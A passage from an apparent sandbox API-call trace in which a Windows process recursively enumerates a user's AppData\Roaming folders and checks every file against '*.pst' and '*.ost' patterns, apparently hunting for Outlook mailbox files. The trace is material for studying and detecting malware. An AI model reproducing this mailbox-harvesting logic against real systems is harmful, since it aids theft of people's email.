(pszFile="fdkus0pnkYX_9FlWPTF.jpg", pszSpec="*.pst") returned 0 [0096.819] PathMatchSpecW (pszFile="fdkus0pnkYX_9FlWPTF.jpg", pszSpec="*.ost") returned 0 [0096.819] FindNextFileW (in: hFindFile=0x4466d00, lpFindFileData=0x6a1f190 | out: lpFindFileData=0x6a1f190*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x82a2f3d0, ftCreationTime.dwHighDateTime=0x1d4d470, ftLastAccessTime.dwLowDateTime=0xb85c2c90, ftLastAccessTime.dwHighDateTime=0x1d4cc77, ftLastWriteTime.dwLowDateTime=0xb85c2c90, ftLastWriteTime.dwHighDateTime=0x1d4cc77, nFileSizeHigh=0x0, nFileSizeLow=0x17140, dwReserved0=0x0, dwReserved1=0x0, cFileName="fSLAD4G.m4a", cAlternateFileName="")) returned 1 [0096.819] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0096.819] PathMatchSpecW (pszFile="fSLAD4G.m4a", pszSpec="*.pst") returned 0 [0096.819] PathMatchSpecW (pszFile="fSLAD4G.m4a", pszSpec="*.ost") returned 0 [0096.819] FindNextFileW (in: hFindFile=0x4466d00, lpFindFileData=0x6a1f190 | out: lpFindFileData=0x6a1f190*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xce305660, ftCreationTime.dwHighDateTime=0x1d4ceaf, ftLastAccessTime.dwLowDateTime=0xd74f36c0, ftLastAccessTime.dwHighDateTime=0x1d4c79e, ftLastWriteTime.dwLowDateTime=0xd74f36c0, ftLastWriteTime.dwHighDateTime=0x1d4c79e, nFileSizeHigh=0x0, nFileSizeLow=0xd1ab, dwReserved0=0x0, dwReserved1=0x0, cFileName="ftVOS 0HNw-wn9DFyDnm.swf", cAlternateFileName="FTVOS0~1.SWF")) returned 1 [0096.819] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0096.819] PathMatchSpecW (pszFile="ftVOS 0HNw-wn9DFyDnm.swf", pszSpec="*.pst") returned 0 [0096.819] PathMatchSpecW (pszFile="ftVOS 0HNw-wn9DFyDnm.swf", pszSpec="*.ost") returned 0 [0096.819] FindNextFileW (in: hFindFile=0x4466d00, lpFindFileData=0x6a1f190 | out: lpFindFileData=0x6a1f190*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7e0ead30, ftCreationTime.dwHighDateTime=0x1d4ccf2, ftLastAccessTime.dwLowDateTime=0x9f9caf20, ftLastAccessTime.dwHighDateTime=0x1d4cfd0, ftLastWriteTime.dwLowDateTime=0x9f9caf20, ftLastWriteTime.dwHighDateTime=0x1d4cfd0, nFileSizeHigh=0x0, nFileSizeLow=0x17ada, dwReserved0=0x0, dwReserved1=0x0, cFileName="HYnI7oS3.ots", cAlternateFileName="")) returned 1 [0096.819] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0096.819] PathMatchSpecW (pszFile="HYnI7oS3.ots", pszSpec="*.pst") returned 0 [0096.819] PathMatchSpecW (pszFile="HYnI7oS3.ots", pszSpec="*.ost") returned 0 [0096.819] FindNextFileW (in: hFindFile=0x4466d00, lpFindFileData=0x6a1f190 | out: lpFindFileData=0x6a1f190*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x95c959b0, ftCreationTime.dwHighDateTime=0x1d4c6b8, ftLastAccessTime.dwLowDateTime=0x7c1c0700, ftLastAccessTime.dwHighDateTime=0x1d4c736, ftLastWriteTime.dwLowDateTime=0x7c1c0700, ftLastWriteTime.dwHighDateTime=0x1d4c736, nFileSizeHigh=0x0, nFileSizeLow=0x796a, dwReserved0=0x0, dwReserved1=0x0, cFileName="HzagzFTWKPLp-i1qoyY.swf", cAlternateFileName="HZAGZF~1.SWF")) returned 1 [0096.819] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0096.819] PathMatchSpecW (pszFile="HzagzFTWKPLp-i1qoyY.swf", pszSpec="*.pst") returned 0 [0096.819] PathMatchSpecW (pszFile="HzagzFTWKPLp-i1qoyY.swf", pszSpec="*.ost") returned 0 [0096.819] FindNextFileW (in: hFindFile=0x4466d00, lpFindFileData=0x6a1f190 | out: lpFindFileData=0x6a1f190*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x23383600, ftCreationTime.dwHighDateTime=0x1d2f180, ftLastAccessTime.dwLowDateTime=0x23383600, ftLastAccessTime.dwHighDateTime=0x1d2f180, ftLastWriteTime.dwLowDateTime=0xf2c805c8, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Identities", cAlternateFileName="IDENTI~1")) returned 1 [0096.820] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0096.820] PathCombineW (in: pszDest=0x6a1f3e0, pszDir="C:\\Users\\aETAdzjz\\AppData\\Roaming", pszFile="Identities" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Identities") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Identities" [0096.820] PathCombineW (in: pszDest=0x6a1ef00, pszDir="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Identities", pszFile="*" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Identities\\*") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Identities\\*" [0096.820] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Identities\\*", lpFindFileData=0x6a1ecb0 | out: lpFindFileData=0x6a1ecb0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x23383600, ftCreationTime.dwHighDateTime=0x1d2f180, ftLastAccessTime.dwLowDateTime=0x23383600, ftLastAccessTime.dwHighDateTime=0x1d2f180, ftLastWriteTime.dwLowDateTime=0xf2c805c8, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x230230, cFileName=".", cAlternateFileName="")) returned 0x4466e20 [0096.820] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0096.820] FindNextFileW (in: hFindFile=0x4466e20, lpFindFileData=0x6a1ecb0 | out: lpFindFileData=0x6a1ecb0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x23383600, ftCreationTime.dwHighDateTime=0x1d2f180, ftLastAccessTime.dwLowDateTime=0x23383600, ftLastAccessTime.dwHighDateTime=0x1d2f180, ftLastWriteTime.dwLowDateTime=0xf2c805c8, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x230230, cFileName="..", cAlternateFileName="")) returned 1 [0096.820] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0096.820] FindNextFileW (in: hFindFile=0x4466e20, lpFindFileData=0x6a1ecb0 | out: lpFindFileData=0x6a1ecb0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x23383600, ftCreationTime.dwHighDateTime=0x1d2f180, ftLastAccessTime.dwLowDateTime=0x23383600, ftLastAccessTime.dwHighDateTime=0x1d2f180, ftLastWriteTime.dwLowDateTime=0xf2c805c8, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x230230, cFileName="{31810C36-5D23-4CCE-A3B4-316DED195C38}", cAlternateFileName="{31810~1")) returned 1 [0096.820] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0096.820] PathCombineW (in: pszDest=0x6a1ef00, pszDir="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Identities", pszFile="{31810C36-5D23-4CCE-A3B4-316DED195C38}" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Identities\\{31810C36-5D23-4CCE-A3B4-316DED195C38}") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Identities\\{31810C36-5D23-4CCE-A3B4-316DED195C38}" [0096.820] PathCombineW (in: pszDest=0x6a1ea20, pszDir="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Identities\\{31810C36-5D23-4CCE-A3B4-316DED195C38}", pszFile="*" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Identities\\{31810C36-5D23-4CCE-A3B4-316DED195C38}\\*") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Identities\\{31810C36-5D23-4CCE-A3B4-316DED195C38}\\*" [0096.820] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Identities\\{31810C36-5D23-4CCE-A3B4-316DED195C38}\\*", lpFindFileData=0x6a1e7d0 | out: lpFindFileData=0x6a1e7d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x23383600, ftCreationTime.dwHighDateTime=0x1d2f180, ftLastAccessTime.dwLowDateTime=0x23383600, ftLastAccessTime.dwHighDateTime=0x1d2f180, ftLastWriteTime.dwLowDateTime=0xf2c805c8, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x234120, cFileName=".", cAlternateFileName="")) returned 0x44669a0 [0096.820] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0096.820] FindNextFileW (in: hFindFile=0x44669a0, lpFindFileData=0x6a1e7d0 | out: lpFindFileData=0x6a1e7d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x23383600, ftCreationTime.dwHighDateTime=0x1d2f180, ftLastAccessTime.dwLowDateTime=0x23383600, ftLastAccessTime.dwHighDateTime=0x1d2f180, ftLastWriteTime.dwLowDateTime=0xf2c805c8, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x234120, cFileName="..", cAlternateFileName="")) returned 1 [0096.821] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0096.821] FindNextFileW (in: hFindFile=0x44669a0, lpFindFileData=0x6a1e7d0 | out: lpFindFileData=0x6a1e7d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x23383600, ftCreationTime.dwHighDateTime=0x1d2f180, ftLastAccessTime.dwLowDateTime=0x23383600, ftLastAccessTime.dwHighDateTime=0x1d2f180, ftLastWriteTime.dwLowDateTime=0xf2c805c8, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x234120, cFileName="..", cAlternateFileName="")) returned 0 [0096.821] FindClose (in: hFindFile=0x44669a0 | out: hFindFile=0x44669a0) returned 1 [0096.821] FindNextFileW (in: hFindFile=0x4466e20, lpFindFileData=0x6a1ecb0 | out: lpFindFileData=0x6a1ecb0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x23383600, ftCreationTime.dwHighDateTime=0x1d2f180, ftLastAccessTime.dwLowDateTime=0x23383600, ftLastAccessTime.dwHighDateTime=0x1d2f180, ftLastWriteTime.dwLowDateTime=0xf2c805c8, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x230230, cFileName="{31810C36-5D23-4CCE-A3B4-316DED195C38}", cAlternateFileName="{31810~1")) returned 0 [0096.821] FindClose (in: hFindFile=0x4466e20 | out: hFindFile=0x4466e20) returned 1 [0096.821] FindNextFileW (in: hFindFile=0x4466d00, lpFindFileData=0x6a1f190 | out: lpFindFileData=0x6a1f190*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2ef19a40, ftCreationTime.dwHighDateTime=0x1d4d1ad, ftLastAccessTime.dwLowDateTime=0xeac54920, ftLastAccessTime.dwHighDateTime=0x1d4c761, ftLastWriteTime.dwLowDateTime=0xeac54920, ftLastWriteTime.dwHighDateTime=0x1d4c761, nFileSizeHigh=0x0, nFileSizeLow=0x7e9, dwReserved0=0x0, dwReserved1=0x0, cFileName="jrxIx8SbO.m4a", cAlternateFileName="JRXIX8~1.M4A")) returned 1 [0096.821] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0096.821] PathMatchSpecW (pszFile="jrxIx8SbO.m4a", pszSpec="*.pst") returned 0 [0096.821] PathMatchSpecW (pszFile="jrxIx8SbO.m4a", pszSpec="*.ost") returned 0 [0096.821] FindNextFileW (in: hFindFile=0x4466d00, lpFindFileData=0x6a1f190 | out: lpFindFileData=0x6a1f190*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x15e2abf0, ftCreationTime.dwHighDateTime=0x1d4d353, ftLastAccessTime.dwLowDateTime=0x9d441050, ftLastAccessTime.dwHighDateTime=0x1d4c694, ftLastWriteTime.dwLowDateTime=0x9d441050, ftLastWriteTime.dwHighDateTime=0x1d4c694, nFileSizeHigh=0x0, nFileSizeLow=0x848b, dwReserved0=0x0, dwReserved1=0x0, cFileName="JzhIkR9Hxv6sSVCZ.m4a", cAlternateFileName="JZHIKR~1.M4A")) returned 1 [0096.821] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0096.821] PathMatchSpecW (pszFile="JzhIkR9Hxv6sSVCZ.m4a", pszSpec="*.pst") returned 0 [0096.821] PathMatchSpecW (pszFile="JzhIkR9Hxv6sSVCZ.m4a", pszSpec="*.ost") returned 0 [0096.821] FindNextFileW (in: hFindFile=0x4466d00, lpFindFileData=0x6a1f190 | out: lpFindFileData=0x6a1f190*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x74854ef0, ftCreationTime.dwHighDateTime=0x1d4cf94, ftLastAccessTime.dwLowDateTime=0x911e8c10, ftLastAccessTime.dwHighDateTime=0x1d4ca36, ftLastWriteTime.dwLowDateTime=0x911e8c10, ftLastWriteTime.dwHighDateTime=0x1d4ca36, nFileSizeHigh=0x0, nFileSizeLow=0x13d8a, dwReserved0=0x0, dwReserved1=0x0, cFileName="l2 tmDiWaU5LpGo9N.csv", cAlternateFileName="L2TMDI~1.CSV")) returned 1 [0096.821] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0096.821] PathMatchSpecW (pszFile="l2 tmDiWaU5LpGo9N.csv", pszSpec="*.pst") returned 0 [0096.821] PathMatchSpecW (pszFile="l2 tmDiWaU5LpGo9N.csv", pszSpec="*.ost") returned 0 [0096.821] FindNextFileW (in: hFindFile=0x4466d00, lpFindFileData=0x6a1f190 | out: lpFindFileData=0x6a1f190*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xd5639410, ftCreationTime.dwHighDateTime=0x1d4d049, ftLastAccessTime.dwLowDateTime=0xc1725bf0, ftLastAccessTime.dwHighDateTime=0x1d4d470, ftLastWriteTime.dwLowDateTime=0xc1725bf0, ftLastWriteTime.dwHighDateTime=0x1d4d470, nFileSizeHigh=0x0, nFileSizeLow=0x5c96, dwReserved0=0x0, dwReserved1=0x0, cFileName="l7OxE6hE7M6LrT.avi", cAlternateFileName="L7OXE6~1.AVI")) returned 1 [0096.821] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0096.821] PathMatchSpecW (pszFile="l7OxE6hE7M6LrT.avi", pszSpec="*.pst") returned 0 [0096.821] PathMatchSpecW (pszFile="l7OxE6hE7M6LrT.avi", pszSpec="*.ost") returned 0 [0096.821] FindNextFileW (in: hFindFile=0x4466d00, lpFindFileData=0x6a1f190 | out: lpFindFileData=0x6a1f190*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa10bf9a0, ftCreationTime.dwHighDateTime=0x1d4c798, ftLastAccessTime.dwLowDateTime=0xe8aa49b0, ftLastAccessTime.dwHighDateTime=0x1d4cb85, ftLastWriteTime.dwLowDateTime=0xe8aa49b0, ftLastWriteTime.dwHighDateTime=0x1d4cb85, nFileSizeHigh=0x0, nFileSizeLow=0xb8e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="lC5vY2DseDnk83eN.flv", cAlternateFileName="LC5VY2~1.FLV")) returned 1 [0096.821] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0096.821] PathMatchSpecW (pszFile="lC5vY2DseDnk83eN.flv", pszSpec="*.pst") returned 0 [0096.821] PathMatchSpecW (pszFile="lC5vY2DseDnk83eN.flv", pszSpec="*.ost") returned 0 [0096.821] FindNextFileW (in: hFindFile=0x4466d00, lpFindFileData=0x6a1f190 | out: lpFindFileData=0x6a1f190*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3e9da800, ftCreationTime.dwHighDateTime=0x1d2f18d, ftLastAccessTime.dwLowDateTime=0x3ea00960, ftLastAccessTime.dwHighDateTime=0x1d2f18d, ftLastWriteTime.dwLowDateTime=0x3ea00960, ftLastWriteTime.dwHighDateTime=0x1d2f18d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Macromedia", cAlternateFileName="MACROM~1")) returned 1 [0096.821] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0096.822] PathCombineW (in: pszDest=0x6a1f3e0, pszDir="C:\\Users\\aETAdzjz\\AppData\\Roaming", pszFile="Macromedia" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Macromedia") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Macromedia" [0096.822] PathCombineW (in: pszDest=0x6a1ef00, pszDir="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Macromedia", pszFile="*" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Macromedia\\*") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Macromedia\\*" [0096.822] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Macromedia\\*", lpFindFileData=0x6a1ecb0 | out: lpFindFileData=0x6a1ecb0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3e9da800, ftCreationTime.dwHighDateTime=0x1d2f18d, ftLastAccessTime.dwLowDateTime=0x3ea00960, ftLastAccessTime.dwHighDateTime=0x1d2f18d, ftLastWriteTime.dwLowDateTime=0x3ea00960, ftLastWriteTime.dwHighDateTime=0x1d2f18d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x230230, cFileName=".", cAlternateFileName="")) returned 0x72022f0 [0096.925] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0096.925] FindNextFileW (in: hFindFile=0x72022f0, lpFindFileData=0x6a1ecb0 | out: lpFindFileData=0x6a1ecb0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3e9da800, ftCreationTime.dwHighDateTime=0x1d2f18d, ftLastAccessTime.dwLowDateTime=0x3ea00960, ftLastAccessTime.dwHighDateTime=0x1d2f18d, ftLastWriteTime.dwLowDateTime=0x3ea00960, ftLastWriteTime.dwHighDateTime=0x1d2f18d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x230230, cFileName="..", cAlternateFileName="")) returned 1 [0096.925] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0096.925] FindNextFileW (in: hFindFile=0x72022f0, lpFindFileData=0x6a1ecb0 | out: lpFindFileData=0x6a1ecb0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3ea00960, ftCreationTime.dwHighDateTime=0x1d2f18d, ftLastAccessTime.dwLowDateTime=0x3ea00960, ftLastAccessTime.dwHighDateTime=0x1d2f18d, ftLastWriteTime.dwLowDateTime=0x3ea00960, ftLastWriteTime.dwHighDateTime=0x1d2f18d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x230230, cFileName="Flash Player", cAlternateFileName="FLASHP~1")) returned 1 [0096.926] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0096.926] PathCombineW (in: pszDest=0x6a1ef00, pszDir="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Macromedia", pszFile="Flash Player" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Macromedia\\Flash Player") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Macromedia\\Flash Player" [0096.926] PathCombineW (in: pszDest=0x6a1ea20, pszDir="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Macromedia\\Flash Player", pszFile="*" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Macromedia\\Flash Player\\*") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Macromedia\\Flash Player\\*" [0096.926] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Macromedia\\Flash Player\\*", lpFindFileData=0x6a1e7d0 | out: lpFindFileData=0x6a1e7d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3ea00960, ftCreationTime.dwHighDateTime=0x1d2f18d, ftLastAccessTime.dwLowDateTime=0x3ea00960, ftLastAccessTime.dwHighDateTime=0x1d2f18d, ftLastWriteTime.dwLowDateTime=0x3ea00960, ftLastWriteTime.dwHighDateTime=0x1d2f18d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x234120, cFileName=".", cAlternateFileName="")) returned 0x4466e20 [0097.019] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0097.019] FindNextFileW (in: hFindFile=0x4466e20, lpFindFileData=0x6a1e7d0 | out: lpFindFileData=0x6a1e7d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3ea00960, ftCreationTime.dwHighDateTime=0x1d2f18d, ftLastAccessTime.dwLowDateTime=0x3ea00960, ftLastAccessTime.dwHighDateTime=0x1d2f18d, ftLastWriteTime.dwLowDateTime=0x3ea00960, ftLastWriteTime.dwHighDateTime=0x1d2f18d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x234120, cFileName="..", cAlternateFileName="")) returned 1 [0097.019] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0097.019] FindNextFileW (in: hFindFile=0x4466e20, lpFindFileData=0x6a1e7d0 | out: lpFindFileData=0x6a1e7d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3ea00960, ftCreationTime.dwHighDateTime=0x1d2f18d, ftLastAccessTime.dwLowDateTime=0x57d9fbc0, ftLastAccessTime.dwHighDateTime=0x1d2f18d, ftLastWriteTime.dwLowDateTime=0x57d9fbc0, ftLastWriteTime.dwHighDateTime=0x1d2f18d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x234120, cFileName="macromedia.com", cAlternateFileName="MACROM~1.COM")) returned 1 [0097.019] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0097.019] PathCombineW (in: pszDest=0x6a1ea20, pszDir="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Macromedia\\Flash Player", pszFile="macromedia.com" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com" [0097.019] PathCombineW (in: pszDest=0x6a1e540, pszDir="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com", pszFile="*" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\*") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\*" [0097.019] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\*", lpFindFileData=0x6a1e2f0 | out: lpFindFileData=0x6a1e2f0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3ea00960, ftCreationTime.dwHighDateTime=0x1d2f18d, ftLastAccessTime.dwLowDateTime=0x57d9fbc0, ftLastAccessTime.dwHighDateTime=0x1d2f18d, ftLastWriteTime.dwLowDateTime=0x57d9fbc0, ftLastWriteTime.dwHighDateTime=0x1d2f18d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x234120, cFileName=".", cAlternateFileName="")) returned 0x7202410 [0097.019] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0097.019] FindNextFileW (in: hFindFile=0x7202410, lpFindFileData=0x6a1e2f0 | out: lpFindFileData=0x6a1e2f0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3ea00960, ftCreationTime.dwHighDateTime=0x1d2f18d, ftLastAccessTime.dwLowDateTime=0x57d9fbc0, ftLastAccessTime.dwHighDateTime=0x1d2f18d, ftLastWriteTime.dwLowDateTime=0x57d9fbc0, ftLastWriteTime.dwHighDateTime=0x1d2f18d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x234120, cFileName="..", cAlternateFileName="")) returned 1 [0097.019] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0097.019] FindNextFileW (in: hFindFile=0x7202410, lpFindFileData=0x6a1e2f0 | out: lpFindFileData=0x6a1e2f0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x57d9fbc0, ftCreationTime.dwHighDateTime=0x1d2f18d, ftLastAccessTime.dwLowDateTime=0x59b60ec0, ftLastAccessTime.dwHighDateTime=0x1d2f18d, ftLastWriteTime.dwLowDateTime=0x59b60ec0, ftLastWriteTime.dwHighDateTime=0x1d2f18d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x234120, cFileName="support", cAlternateFileName="")) returned 1 [0097.019] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0097.019] PathCombineW (in: pszDest=0x6a1e540, pszDir="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com", pszFile="support" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support" [0097.019] PathCombineW (in: pszDest=0x6a1e060, pszDir="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support", pszFile="*" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\*") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\*" [0097.019] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\*", lpFindFileData=0x6a1de10 | out: lpFindFileData=0x6a1de10*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x57d9fbc0, ftCreationTime.dwHighDateTime=0x1d2f18d, ftLastAccessTime.dwLowDateTime=0x59b60ec0, ftLastAccessTime.dwHighDateTime=0x1d2f18d, ftLastWriteTime.dwLowDateTime=0x59b60ec0, ftLastWriteTime.dwHighDateTime=0x1d2f18d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x230230, cFileName=".", cAlternateFileName="")) returned 0x7202770 [0097.020] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0097.020] FindNextFileW (in: hFindFile=0x7202770, lpFindFileData=0x6a1de10 | out: lpFindFileData=0x6a1de10*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x57d9fbc0, ftCreationTime.dwHighDateTime=0x1d2f18d, ftLastAccessTime.dwLowDateTime=0x59b60ec0, ftLastAccessTime.dwHighDateTime=0x1d2f18d, ftLastWriteTime.dwLowDateTime=0x59b60ec0, ftLastWriteTime.dwHighDateTime=0x1d2f18d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x230230, cFileName="..", cAlternateFileName="")) returned 1 [0097.020] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0097.020] FindNextFileW (in: hFindFile=0x7202770, lpFindFileData=0x6a1de10 | out: lpFindFileData=0x6a1de10*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x59b60ec0, ftCreationTime.dwHighDateTime=0x1d2f18d, ftLastAccessTime.dwLowDateTime=0x59b60ec0, ftLastAccessTime.dwHighDateTime=0x1d2f18d, ftLastWriteTime.dwLowDateTime=0x59b60ec0, ftLastWriteTime.dwHighDateTime=0x1d2f18d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x230230, cFileName="flashplayer", cAlternateFileName="FLASHP~1")) returned 1 [0097.020] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0097.020] PathCombineW (in: pszDest=0x6a1e060, pszDir="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support", pszFile="flashplayer" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer") 